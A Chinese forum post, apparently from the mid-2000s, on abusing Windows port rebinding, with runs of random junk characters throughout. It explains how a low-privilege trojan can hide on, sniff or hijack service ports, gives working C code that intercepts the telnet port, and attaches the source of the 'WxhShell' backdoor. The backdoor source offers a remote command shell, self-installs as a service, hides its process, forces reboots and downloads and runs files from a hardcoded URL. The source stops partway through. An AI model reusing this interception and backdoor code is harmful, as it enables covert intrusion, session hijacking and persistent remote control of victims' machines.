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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: >dDcm  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); W{}M${6&  
e:QH3|'y  
  saddr.sin_family = AF_INET; lb}:! Y  
xCu\jc)2  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 7<5=fYb r  
r8_MIGM'  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ,nniSG((3  
&c= 3BEh  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 yW}x  
a7z% )i;Z  
  这意味着什么?意味着可以进行如下的攻击: #J$z0%P  
z Hl+P*)  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 HNX/#?3  
kxY9[#:<fB  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) AD'c#CT  
#6 $WuIG  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Oh7wyQiV  
4_ZHY?VRd  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  1=jwJv.^/  
o<Rrr,  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 cMAY8$  
xI5zP? _v  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 +L=a\8Ep  
P[P]oT.N  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 5pxw[c53#  
U;U19[]  
  #include H<3a yp$  
  #include DPlmrN9@=  
  #include Q2t>E(S  
  #include    }Szs9-Wns  
  DWORD WINAPI ClientThread(LPVOID lpParam);   |OBZSk1jp  
  int main() chU,));F  
  { p xQh;w  
  WORD wVersionRequested; -$f$z(h  
  DWORD ret; NKu*kL}W=  
  WSADATA wsaData; T:w%RF[v9  
  BOOL val; {&)E$ M  
  SOCKADDR_IN saddr; .:TSdusr~  
  SOCKADDR_IN scaddr; ;-{'d8  
  int err; D~f[Rg  
  SOCKET s; I !g+K  
  SOCKET sc; P<R'S  
  int caddsize; ap.L=vn  
  HANDLE mt; >L88`  
  DWORD tid;   j:J7  
  wVersionRequested = MAKEWORD( 2, 2 ); 0/b3]{skK  
  err = WSAStartup( wVersionRequested, &wsaData ); x`zE#sD  
  if ( err != 0 ) { d)v'K5  
  printf("error!WSAStartup failed!\n"); Ku]<$uo  
  return -1; ?lQ-HOAw  
  } :@sjOY  
  saddr.sin_family = AF_INET; A!ak i}aT~  
   p!p:LSk"/b  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 uBxs`'C  
43o!Vr/ S  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [!>DQE  
  saddr.sin_port = htons(23); Z oQPvs7_  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [|oOP$u  
  { G297)MFF  
  printf("error!socket failed!\n"); C4t@;U=x  
  return -1; xSZ+6R|  
  } P#ot$@1v  
  val = TRUE; d<afO?"  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 2vX!j!_  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) j<_)Y(x>  
  { OW1\@CC-69  
  printf("error!setsockopt failed!\n"); E|omC_h  
  return -1; :,FI 6`  
  } _6{XqvWqb  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6Bn%7ZBv  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Ox}a\B8  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 jL9to6 Hmr  
SOo}}a0  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) o_&*?k*  
  { }C9P--  
  ret=GetLastError(); nM6/c  
  printf("error!bind failed!\n"); ZH8Oidj`  
  return -1; WeRX~  
  } <& p0:S7  
  listen(s,2); D;WQNlTU  
  while(1) 56^#x  
  { KPMId`kf  
  caddsize = sizeof(scaddr); 2]f?c%)I  
  //接受连接请求 ok<!/"RX$  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); cr<ty"3\  
  if(sc!=INVALID_SOCKET) \XT~5N6  
  { C9%2}E3Z$)  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); #a=~a=c(^  
  if(mt==NULL) *HXx;:  
  { !w=6>B^  
  printf("Thread Creat Failed!\n"); g|PRk9  
  break; Iji9N!Yx  
  } x4nmDEpa  
  } &WAJ;7f  
  CloseHandle(mt); ,T\)%q  
  } a>XlkkX  
  closesocket(s); :~{x'`czJ  
  WSACleanup(); -iJ @K  
  return 0; OXCf  
  }   %+e% RZ3  
  DWORD WINAPI ClientThread(LPVOID lpParam) Z/w "zCd  
  { h,%b>JFo  
  SOCKET ss = (SOCKET)lpParam; {m2lVzK  
  SOCKET sc; NM:\T1  
  unsigned char buf[4096]; b Q6<R4  
  SOCKADDR_IN saddr; FF7  
  long num; !%s&GD8&l  
  DWORD val; K\a=bA}DG  
  DWORD ret; $wx)/t<  
  //如果是隐藏端口应用的话,可以在此处加一些判断 X9oxni#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ppu WcGo  
  saddr.sin_family = AF_INET; kz+OUA@~  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); &]mZp&  
  saddr.sin_port = htons(23); "ZU CYYre  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) i`)h~V|G  
  { KaGG4?=V  
  printf("error!socket failed!\n"); ^~Dmb2h  
  return -1; leSR2os  
  } v;m}<3@'  
  val = 100; 7xr@$-U  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3Sb'){.MT+  
  { ~xSAR;8  
  ret = GetLastError(); Q7vTTn\  
  return -1; vOKWi:-U  
  }  [ijK ~  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )lsR8Hi8  
  { S"wn0B$"  
  ret = GetLastError(); 1<ic 5kB  
  return -1; &>]c"?C*  
  } 1>"[b8a/  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2y0J~P!I  
  { s v}o%  
  printf("error!socket connect failed!\n"); sKK*{+,kh;  
  closesocket(sc); CMI V"-  
  closesocket(ss); 7eyVm;LQD  
  return -1; 1ae,s{|  
  } zj9)vr`7  
  while(1) #uzp  
  { 2[8C?7_K0?  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ~Os1ir.  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 c'8pTP%[  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 QxaW x  
  num = recv(ss,buf,4096,0); jLZ^EM-  
  if(num>0) L~u@n24  
  send(sc,buf,num,0); !iO%?nW;  
  else if(num==0) qQ%RnD9  
  break; S);SfNh%CL  
  num = recv(sc,buf,4096,0); x  #Um`  
  if(num>0) +%%Ef]  
  send(ss,buf,num,0); ipThw p9  
  else if(num==0) z9B" "ws  
  break; | pA  
  } X' ,0vK  
  closesocket(ss); TOe=6 Z5h  
  closesocket(sc); _3'FX# xc  
  return 0 ; ZHWxU  
  } >-0\wP  
+6$|No  
_,?<r&>v6  
========================================================== 7`c\~_Df_  
J:!m49fF  
下边附上一个代码,,WXhSHELL &O:IRR7p  
q|}%6ztv-  
========================================================== #BZ2%\  
b-+~D9U <  
#include "stdafx.h" Sl!#!FGI  
, Y\`n7Ww  
#include <stdio.h>  4.7 PL  
#include <string.h> t6+c"=P#  
#include <windows.h> ;tZ;C(;<  
#include <winsock2.h> PXRkK63  
#include <winsvc.h> [@&0@/s*t'  
#include <urlmon.h> IOjp'6Yr  
YXi'^GU@  
#pragma comment (lib, "Ws2_32.lib") +'ZJ]  
#pragma comment (lib, "urlmon.lib") =,])xzG%  
x/B1\U I  
#define MAX_USER   100 // 最大客户端连接数 @F-InfB8.  
#define BUF_SOCK   200 // sock buffer |}-bMQ|  
#define KEY_BUFF   255 // 输入 buffer L*QX21@wC  
b:M1P&R  
#define REBOOT     0   // 重启 ,Hzz:ce  
#define SHUTDOWN   1   // 关机 )9]DJ!]&Q"  
 l:i&l?>_  
#define DEF_PORT   5000 // 监听端口 (qbL=R"  
O?=YY@j  
#define REG_LEN     16   // 注册表键长度 v><c@a=[  
#define SVC_LEN     80   // NT服务名长度 ~\oF}7l$  
vh/&KTe?:  
// 从dll定义API (^@rr[. o7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); T) Zef  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0ap_tCY  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); cs]h+yE  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); a7fFp 9l!  
JH|]B|3  
// wxhshell配置信息 Sk6B>O<:  
struct WSCFG { sy]hMGH:3W  
  int ws_port;         // 监听端口 ]<xzCPB  
  char ws_passstr[REG_LEN]; // 口令 @BmI1  
  int ws_autoins;       // 安装标记, 1=yes 0=no VRs|";  
  char ws_regname[REG_LEN]; // 注册表键名 =] +owl2  
  char ws_svcname[REG_LEN]; // 服务名 Ct<]('Hm(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8)o%0#;0B  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 z|$M,?r'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !0Mx Bem  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (B^rW,V[R  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" gJZH??b  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 x##0s5Qn  
1VR|z  
}; hjgB[ &U>  
Ht"?ajW{  
// default Wxhshell configuration DP8%/CV!*  
struct WSCFG wscfg={DEF_PORT, qN"Q3mU^h*  
    "xuhuanlingzhe", F+SqJSa  
    1, LG+2?+tE"  
    "Wxhshell", `PUGg[Zx^  
    "Wxhshell", i,B<k 0W9  
            "WxhShell Service", t }YT+S  
    "Wrsky Windows CmdShell Service", N`HiNb [  
    "Please Input Your Password: ", 4Jf9N'  
  1, G`Df'Yy  
  "http://www.wrsky.com/wxhshell.exe", *N&~Uq^  
  "Wxhshell.exe" eev-";c  
    }; ^)UX#D3b  
8CUlE-R5  
// 消息定义模块 bs&>QsI?j  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3c=>;g  
char *msg_ws_prompt="\n\r? for help\n\r#>"; n'@*RvI:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #M)+sK$H%f  
char *msg_ws_ext="\n\rExit."; ;Rljx3!N  
char *msg_ws_end="\n\rQuit."; 1{A K=H')  
char *msg_ws_boot="\n\rReboot..."; 82M` sk3.  
char *msg_ws_poff="\n\rShutdown..."; ni85Ne$  
char *msg_ws_down="\n\rSave to "; jVPX]8  
>r3SF3XMq  
char *msg_ws_err="\n\rErr!"; aD+4uGN  
char *msg_ws_ok="\n\rOK!"; )|=4H>?%  
Ae[fW97  
char ExeFile[MAX_PATH]; EsS$th)d  
int nUser = 0; DNr*|A2<  
HANDLE handles[MAX_USER]; ?>Ngsp>-P  
int OsIsNt; jU-aa+  
q B IekQT  
SERVICE_STATUS       serviceStatus; %P7 qA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }xry  
l,*5*1lM  
// 函数声明 N% ?R(  
int Install(void); y 2)W"PuG  
int Uninstall(void); {- &`@V  
int DownloadFile(char *sURL, SOCKET wsh); ?N(<w?Gat  
int Boot(int flag); ,+ 5:}hR+  
void HideProc(void); pC]XbokES  
int GetOsVer(void); Z5 p [*LMO  
int Wxhshell(SOCKET wsl); 1F_$[iIX]  
void TalkWithClient(void *cs); <F8e?xy  
int CmdShell(SOCKET sock);  l5 ]  
int StartFromService(void); ?;y-skh  
int StartWxhshell(LPSTR lpCmdLine); 0'HQ=pP  
=Oq *9=v|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); I(Z\$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^|SiqE  
q|:wzdmNZ  
// 数据结构和表定义 +4  h!;i  
SERVICE_TABLE_ENTRY DispatchTable[] = 1BEs> Sm  
{ X 5\xq+Ih  
{wscfg.ws_svcname, NTServiceMain}, e_|Z&  
{NULL, NULL} 1+gFfKq  
}; ?% [~J  
tS>^x  
// 自我安装 T-#4hY`  
int Install(void) t>AOF\  
{ [_nOo`  
  char svExeFile[MAX_PATH]; 5|=J\Lp2I  
  HKEY key; ] j8bv3  
  strcpy(svExeFile,ExeFile); C[}UQod0  
0>8w On  
// 如果是win9x系统,修改注册表设为自启动 =@0J:"c  
if(!OsIsNt) { P6O\\,B1A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s[sv4hq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +ZwoA_k{  
  RegCloseKey(key); eZ+6U`^t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^;'8yE/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P1Z"}Qw  
  RegCloseKey(key); Q#G xo  
  return 0; |?#JCG  
    } ) $_1U!z  
  } :-5[0Mx=  
} N<8\.z5:<  
else { lKw-C[  
. }/8 ]  
// 如果是NT以上系统,安装为系统服务 vUVFW'-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .wD $Bsm`t  
if (schSCManager!=0) q~b# ml2QS  
{ c )LG+K  
  SC_HANDLE schService = CreateService >7PQOQMW'  
  ( K^U ="  
  schSCManager, Sz@z 0'  
  wscfg.ws_svcname, O-X(8<~H=  
  wscfg.ws_svcdisp, 50QDqC-]XS  
  SERVICE_ALL_ACCESS, **L&I5Hhm  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , C@6:uiT$  
  SERVICE_AUTO_START, gDVsi  
  SERVICE_ERROR_NORMAL, ?W{+[OXs  
  svExeFile, Lo%vG{yTr  
  NULL,  C3{hf  
  NULL, Ai1"UYk\\Y  
  NULL, Yr/$92(  
  NULL, hNM8H  
  NULL o 2 Nu@^+  
  ); Tc/^h 4xH  
  if (schService!=0) v*?8:>:}  
  { eO <N/?t  
  CloseServiceHandle(schService); | J3'#7  
  CloseServiceHandle(schSCManager); s|e.mZk/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "D _r</b  
  strcat(svExeFile,wscfg.ws_svcname); 7DJEx~"!2-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { } +}nrJv  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @  W>@6E  
  RegCloseKey(key); a]u.Uqyx2w  
  return 0; %-blx)Pc  
    } /=S@3?cQAB  
  } PGJh>[ s  
  CloseServiceHandle(schSCManager); 5_aj]"x  
} J:N(U0U  
} |+q_kx@?l  
fA6IW(_bi  
return 1; zsXgpnlHT  
} X$>F78e*  
|O_ JUl  
// 自我卸载 (<eLj Q  
int Uninstall(void) X\h.@+f=  
{ 9jTBLp-i#N  
  HKEY key; ;DuVb2~+  
+Ww] %`_  
if(!OsIsNt) { R.rc h2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !0,q[|m  
  RegDeleteValue(key,wscfg.ws_regname); |Gf<Ql_.4  
  RegCloseKey(key); fEZuv?@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o}v<~v(  
  RegDeleteValue(key,wscfg.ws_regname); lV$JCNe  
  RegCloseKey(key); LeLUt<4~  
  return 0; JD$g%hcVZa  
  } A3a//e  
} [A7TSN  
} Kz"3ba}KH  
else { <Q~N9W  
F0<)8{s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2t\0vV2)/O  
if (schSCManager!=0) =wh[D$n$~  
{ YCbvCw$Ob  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); % "(&a'B  
  if (schService!=0) /TpTR-\I0  
  { Z\nDR|3  
  if(DeleteService(schService)!=0) { l r&7 qu  
  CloseServiceHandle(schService); xsH1)  
  CloseServiceHandle(schSCManager); /}m)FaAi  
  return 0; ;bE/(nz M  
  } |{N{VK  
  CloseServiceHandle(schService); s* (a  
  } ai_ve[A  
  CloseServiceHandle(schSCManager); 2<@2_wSJ  
} U!(.i1^n  
} aJ+V]WmA  
]{1{XIF  
return 1; t1?aw<  
} }p~2lOI  
^lHy)!&A  
// 从指定url下载文件 E8!`d}\#  
int DownloadFile(char *sURL, SOCKET wsh) ab6I*DbF  
{ uV5uZ  
  HRESULT hr; ~&<#H+O  
char seps[]= "/"; MNu0t\`p4  
char *token; q^aDZzx,z  
char *file; DG;7+2U  
char myURL[MAX_PATH]; TDH^x1P  
char myFILE[MAX_PATH]; dVbFMQ&  
w)EY j+L  
strcpy(myURL,sURL); f!'i5I]  
  token=strtok(myURL,seps); 7X>IS#W]  
  while(token!=NULL) bIU.C|h@  
  { pkn^K+<n,  
    file=token; FP=B/!g  
  token=strtok(NULL,seps); qfDG.Zee#  
  } P6v ANL-B  
oqJ Ybim  
GetCurrentDirectory(MAX_PATH,myFILE); ,CqWm9  
strcat(myFILE, "\\"); 83vMj$P  
strcat(myFILE, file); \|,| )  
  send(wsh,myFILE,strlen(myFILE),0); {+J{t\`  
send(wsh,"...",3,0); |&#N&t  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); jYp!?%!  
  if(hr==S_OK) ?AyxRbk  
return 0; B\Nbt!Ps  
else "V p nr +6  
return 1; ^^b'tP1>  
(ghI$oH  
} eh9 ?GUr5  
IJ Jp5[w  
// 系统电源模块 hY&Yp^"}]^  
int Boot(int flag) `]KX`xGK  
{ h3@tZL#g  
  HANDLE hToken; F vkyp"W3  
  TOKEN_PRIVILEGES tkp; &E&~9"^hQL  
CTNL->  
  if(OsIsNt) { 0+CcNY9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); e0P[,e*0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =dGp&9K,fw  
    tkp.PrivilegeCount = 1; <\#'o}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  vD#U+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (h0@;@@7hW  
if(flag==REBOOT) { E f\|3D_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) vfkF@^D  
  return 0;  LSC[S:  
} _KM? ?&  
else { =dAAb\:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) V#ELn[k  
  return 0; MH.+pqIv^  
} t(3f} ?  
  } Q4cCg7|0  
  else { 7ui<2(W@0  
if(flag==REBOOT) { 0b{jox\!B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,iyy2  
  return 0; $}&a*c>  
} vFk@  
else { u !BU^@P  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1 m'.wh|  
  return 0; @7nZjrH  
} D)PX|xrn  
} {?`rGJ{f  
Ic0Sb7c  
return 1; eke[{%L  
} jF?0,g  
SMZ*30i  
// win9x进程隐藏模块 XY'=_5t  
void HideProc(void) '/I`dj  
{ <W0(!<U  
JQKXbsXS  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b\"F6TF:  
  if ( hKernel != NULL ) 2'fd4 rE5  
  {  qra XAQ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); dUv@u !}B  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >>{):r Z  
    FreeLibrary(hKernel); y[i}iT/~  
  } U,U=udsi  
Nr*l3Z>LD  
return; )xcjQkb  
} A-r;5?S  
!}6'vq  
// 获取操作系统版本 zbFy3-RP  
int GetOsVer(void) 8]#FvgX  
{ Vo"G@W)lZ  
  OSVERSIONINFO winfo; 5,;\zSz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); v\w*VCjoV  
  GetVersionEx(&winfo); ajycYk9<m  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Cj>HMB}  
  return 1; o+|>D&CW%  
  else OmB M)g  
  return 0; Hdyl]q-(P  
} (3N/DY1/  
"[ S[vkI  
// 客户端句柄模块 ' wl})  
int Wxhshell(SOCKET wsl) cpk\;1&t  
{ Kz;Ar&^`N  
  SOCKET wsh; 7Q!ksp  
  struct sockaddr_in client; 807+|Ol[  
  DWORD myID; j*QdD\)  
zYM2`(Z 5B  
  while(nUser<MAX_USER) _gVihu  
{ fExFpR,`  
  int nSize=sizeof(client); ;y-JR$M  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); J;>;K6pW  
  if(wsh==INVALID_SOCKET) return 1; IS8 sJ6")  
B6F!"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); w#1BHx  
if(handles[nUser]==0) T4W20dxL7  
  closesocket(wsh); 5"h4XINZ  
else EF&CV{Sw  
  nUser++; Y9mhDznS  
  } =RUy4+0>F  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;*rGZ?%*  
w&IYCYK_  
  return 0; Dh^l :q+c  
} Jm , :6T  
\r aP  
// 关闭 socket RV@B[:  
void CloseIt(SOCKET wsh) 'R1C-U3w,  
{ 1[OY- G  
closesocket(wsh); UZ/LR  
nUser--; ~ tR!hc}  
ExitThread(0); 'sAkrl8kt  
} 12i`82>;  
YAR$6&  
// 客户端请求句柄 dZ" }wKbO  
void TalkWithClient(void *cs) '[6]W)f  
{ >W+,(kAS  
c2V_|oL  
  SOCKET wsh=(SOCKET)cs; V@+sNM  
  char pwd[SVC_LEN]; X,@nD@  
  char cmd[KEY_BUFF]; &H+ wzx<  
char chr[1]; Kez0Bka  
int i,j; oG22;  
4grV2xtX  
  while (nUser < MAX_USER) { gD%o0 jt"  
<Y /3U  
if(wscfg.ws_passstr) { =?L16mu1&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HziQ%QR  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ral=`/p  
  //ZeroMemory(pwd,KEY_BUFF); vy [7I8f{  
      i=0; n{|j#j  
  while(i<SVC_LEN) { B$c'^ )  
K4Ed]hX  
  // 设置超时 gRs @T<k2  
  fd_set FdRead; 3I'7+?@@l  
  struct timeval TimeOut; `?&C5*P  
  FD_ZERO(&FdRead); ;t N@  
  FD_SET(wsh,&FdRead); ci%$So 2#  
  TimeOut.tv_sec=8; W;Dik%^tg  
  TimeOut.tv_usec=0; DM6(8df(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Hv"qRuQ?[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); rU>l(O'b  
S41S+#7t*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Qt"jU+Zoy  
  pwd=chr[0]; &iuMB0rbu  
  if(chr[0]==0xd || chr[0]==0xa) { Mj0jpP<uf  
  pwd=0; P2>_qyX  
  break; H(?+-72KX  
  } t`6~ ud>  
  i++; @B)5Ho  
    } ,~=+]9t  
fuf' r>1n  
  // 如果是非法用户,关闭 socket z\k 6."e_&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +IGSOWL  
} gT fA]  
laCVj6Rk  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9nd,8Nji  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !y1qd  
6[Mu3.T  
while(1) { BMzS3;1_  
|Ntretz`\  
  ZeroMemory(cmd,KEY_BUFF); tTq2 AR|  
fob.?ID-;  
      // 自动支持客户端 telnet标准   *[3tGiUJ  
  j=0; 93)1  
  while(j<KEY_BUFF) { V#&S&dn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %B>>J%  
  cmd[j]=chr[0]; V[* <^%  
  if(chr[0]==0xa || chr[0]==0xd) { (^|vN ;  
  cmd[j]=0; {f6~Vwf  
  break; of_Om$  
  } 0VgsV;  
  j++; #9(iu S+BU  
    } mnYzn[d3U  
x50ZwV&j  
  // 下载文件 F @!9rl'  
  if(strstr(cmd,"http://")) { ?D M!=.]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `g'9)Xf4KT  
  if(DownloadFile(cmd,wsh)) . P! pC  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); v00w GOpW  
  else Cm6%wAzC  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l\bgp3.+  
  } I(Q3YDdb  
  else { 2,6|l.WFpE  
H1ox>sC  
    switch(cmd[0]) { O=}jg0k  
  h"$], =  
  // 帮助  4V 5  
  case '?': { y=e|W=<D&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \avgXndI  
    break; Q[%+y.  
  } u`Zj~ t  
  // 安装 HqKD]1  
  case 'i': { '_M"yg6d  
    if(Install()) Ei\tn`I&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X_J(P?  
    else RATW[(ZA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z'\{hL S  
    break; T oK'Pd  
    } w;DRC5V>  
  // 卸载 Pu0O6@Rg  
  case 'r': { OYk/K70l3  
    if(Uninstall()) CDDOm8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9d >AnTf&H  
    else gO]jeO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H.s:a#l?  
    break; Xp_G9I,+  
    } uY$BZEuAZ  
  // 显示 wxhshell 所在路径 :"~n` Q2[  
  case 'p': { KFn[  
    char svExeFile[MAX_PATH]; UZ 6:vmcT  
    strcpy(svExeFile,"\n\r"); KIHr%  
      strcat(svExeFile,ExeFile); @xPWR=Lb  
        send(wsh,svExeFile,strlen(svExeFile),0); ~_hn{Ou s  
    break; QMWDII&t  
    } m\ (crkN  
  // 重启 o" e]9{+<  
  case 'b': { LIMPWw g  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9/I|oh_ G  
    if(Boot(REBOOT)) IO]%AL(.;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pa\"l'!>^  
    else { KMogwulG  
    closesocket(wsh); Ga#5xAI{a  
    ExitThread(0); B|6_4ry0U  
    } `_5{: 9N$  
    break; DmpG35Jk  
    } `\5u/i'Ca!  
  // 关机 _ -C{:rV  
  case 'd': { H m Z*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {S5H H"  
